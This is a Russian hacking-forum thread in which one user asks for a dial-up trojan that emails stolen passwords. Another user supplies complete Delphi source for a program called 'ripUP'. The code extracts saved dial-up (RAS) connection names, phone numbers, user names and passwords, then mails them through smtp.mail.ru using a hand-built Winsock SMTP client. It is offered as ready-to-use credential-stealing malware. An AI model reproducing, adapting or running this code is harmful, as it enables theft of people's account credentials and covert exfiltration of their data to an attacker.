привет дайте плз исходник диалап трояна который шлет пассы на мыло на с++ или делфи ЗАРАНЕЕ Thank P.s поисковые не помогли
все готово =))) сорец: http://slil.ru/23585659 знаю, что такие веши лучше в аттач, но тут функция отправки почты с помошью winsock {Главное РАБОТАЮЩАЯ!} program ripUP; uses WinSock, Windows, LmErr in 'RASDecrypt\RASAPI\LmErr.pas', LmCons in 'RASDecrypt\RASAPI\LmCons.pas', RasError in 'RASDecrypt\RASAPI\RasError.pas', Ras in 'RASDecrypt\RASAPI\Ras.pas', LSAManager in 'RASDecrypt\LSAManager.pas', RASReader in 'RASDecrypt\RASReader.pas'; var RAS_:TRASReader; List:string; procedure GetPass; procedure RasCallback(PhoneNumber,AreaCode,UserName,Password,EntryName:string); begin List:='Entry Name: '+EntryName+#13#10+ 'Phone: '+PhoneNumber+#13#10+ 'Code: '+AreaCode+#13#10+ 'User Name: '+UserName+#13#10+ 'Password: '+Password; end; begin RAS_:=TRASReader.Create; RAS_.GetRasEntries(@RasCallback); RAS_.Free; end; function SendMail(SmtpServer:string;SmtpPort:integer;IsAuth:boolean; POP3Server:string;POP3Port:integer;POP3Login:string;POP3Password:string; FromAddr:string;ToAddr:string;MessageText:string):boolean; function LookupName(name:string):TInAddr; var HostEntHostEnt; InAddr:TInAddr; begin if name[4]='.' then InAddr.s_addr:=inet_addr(PChar(name)) else begin HostEnt:=gethostbyname(PChar(name)); FillChar(InAddr,SizeOf(InAddr),0); if HostEnt<>nil then begin with InAddr, HostEnt^ do begin S_un_b.s_b1:=h_addr^[0]; S_un_b.s_b2:=h_addr^[1]; S_un_b.s_b3:=h_addr^[2]; S_un_b.s_b4:=h_addr^[3]; end; end end; Result:=InAddr; end; function RecvText(S:TSocket):string; const MAX_BUFF_SIZE=1024; var Recvbuff:array[0..MAX_BUFF_SIZE-1] of char; iRecv:integer; TempStr:string; begin Result:=''; ZeroMemory(@Recvbuff,SizeOf(RecvBuff)); iRecv:=recv(S,RecvBuff,MAX_BUFF_SIZE, 0); if iRecv=0 then exit else if iRecv=Socket_Error then exit else begin TempStr:=RecvBuff; Result:=Copy(TempStr,1,Pos(#13,TempStr)); end; end; function SendText(S:TSocket;Text:string):boolean; const MAX_SEND_SIZE=1024; var SendBuff:array[0..MAX_SEND_SIZE] of char; iSend:integer; SendStr:string; begin Result:=false; SendStr:=Text+#13#10; if Length(SendStr)>MAX_SEND_SIZE then exit; CopyMemory(@SendBuff,PChar(SendStr),Length(SendStr)); iSend:=send(S,SendBuff,Length(SendStr),0); if iSend=SOCKET_ERROR then exit; Result:=true; end; function POP3Auth(Server:string;Port:integer;Login,Pass:string):TSocket; var saServerPop3:SockAddr_In; RecvPop3Text,SendPop3Text:string; begin Result:=socket(PF_INET, SOCK_STREAM, IPPROTO_IP); if Result=INVALID_SOCKET then exit; saServerPop3.sin_addr.s_addr:=htonl(INADDR_ANY); saServerPop3.sin_family:=AF_INET; saServerPop3.sin_port:=htons(Port); saServerPop3.sin_addr:=LookupName(Server); if connect(Result,saServerPop3,SizeOf(saServerPop3))=SOCKET_ERROR then begin Result:=-1; exit; end; RecvPop3Text:=RecvText(Result); if Pos('+OK',RecvPop3Text)=0 then begin CloseSocket(Result); Result:=-1; exit; end; SendPop3Text:='USER '+Login; if not SendText(Result,SendPop3Text) then begin CloseSocket(Result); Result:=-1; exit; end; RecvPop3Text:=RecvText(Result); if Pos('+OK',RecvPop3Text)=0 then begin CloseSocket(Result); Result:=-1; exit; end; SendPop3Text:='PASS '+Pass; if not SendText(Result,SendPop3Text) then begin CloseSocket(Result); Result:=-1; exit; end; RecvPop3Text:=RecvText(Result); if Pos('+OK',RecvPop3Text)=0 then begin CloseSocket(Result); Result:=-1; exit; end; end; procedure POP3Quit(S:TSocket); begin if not SendText(S,'QUIT') then begin CloseSocket(S); exit; end; CloseSocket(S); end; var WData:WSADATA; sMailSocket,sPOP3Socket:TSocket; saServerMail:SockAddr_In; RecvMailText,SendMailText:string; begin Result:=false; if WSAStartup(MAKEWORD(1,1),WData)<>0 then exit; sMailSocket:=socket(PF_INET,SOCK_STREAM,IPPROTO_IP); if sMailSocket=INVALID_SOCKET then exit; saServerMail.sin_addr.s_addr:=htonl(INADDR_ANY); saServerMail.sin_family:=AF_INET; saServerMail.sin_port:=htons(SmtpPort); saServerMail.sin_addr:=LookupName(SmtpServer); if connect(sMailSocket,saServerMail,SizeOf(saServerMail))=SOCKET_ERROR then exit; RecvMailText:=RecvText(sMailSocket); if Pos('220',RecvMailText)=0 then begin CloseSocket(sMailSocket); exit; end; SendMailText:='HELO antichat.ru'; if not SendText(sMailSocket,SendMailText) then begin CloseSocket(sMailSocket); exit; end; RecvMailText:=RecvText(sMailSocket); if Pos('250',RecvMailText)=0 then begin CloseSocket(sMailSocket); exit; end; if IsAuth then begin sPOP3Socket:=POP3Auth(POP3Server,POP3Port,POP3Login,POP3Password); if sPOP3Socket=-1 then begin CloseSocket(sMailSocket); exit; end; end; SendMailText:='MAIL FROM:'+FromAddr; if not SendText(sMailSocket,SendMailText) then begin CloseSocket(sMailSocket); if IsAuth then CloseSocket(sPOP3Socket); exit; end; RecvMailText:=RecvText(sMailSocket); if Pos('250',RecvMailText)=0 then begin CloseSocket(sMailSocket); if IsAuth then CloseSocket(sPOP3Socket); exit; end; SendMailText:='RCPT TO:'+ToAddr; if not SendText(sMailSocket,SendMailText) then begin CloseSocket(sMailSocket); if IsAuth then CloseSocket(sPOP3Socket); exit; end; RecvMailText:=RecvText(sMailSocket); if Pos('250',RecvMailText)=0 then begin CloseSocket(sMailSocket); if IsAuth then CloseSocket(sPOP3Socket); exit; end; SendMailText:='DATA'; if not SendText(sMailSocket,SendMailText) then begin CloseSocket(sMailSocket); if IsAuth then CloseSocket(sPOP3Socket); exit; end; RecvMailText:=RecvText(sMailSocket); if Pos('354',RecvMailText)=0 then begin CloseSocket(sMailSocket); if IsAuth then CloseSocket(sPOP3Socket); exit; end; SendMailText:=MessageText; if not SendText(sMailSocket,SendMailText) then begin CloseSocket(sMailSocket); if IsAuth then CloseSocket(sPOP3Socket); exit; end; SendMailText:=#13#10+'.'; if not SendText(sMailSocket,SendMailText) then begin CloseSocket(sMailSocket); if IsAuth then CloseSocket(sPOP3Socket); exit; end; RecvMailText:=RecvText(sMailSocket); if Pos('250',RecvMailText)=0 then begin CloseSocket(sMailSocket); if IsAuth then CloseSocket(sPOP3Socket); exit; end; SendMailText:='QUIT'; if not SendText(sMailSocket,SendMailText) then begin CloseSocket(sMailSocket); if IsAuth then CloseSocket(sPOP3Socket); exit; end; if Pos('221',RecvText(sMailSocket))=0 then begin CloseSocket(sMailSocket); if IsAuth then CloseSocket(sPOP3Socket); exit; end; if IsAuth then POP3Quit(sPOP3Socket); CloseSocket(sMailSocket); Result:=true; end; begin GetPass; SendMail('smtp.mail.ru',25,false,'',110,'','','FROM@mail.ru','TO@mail.ru',List); end.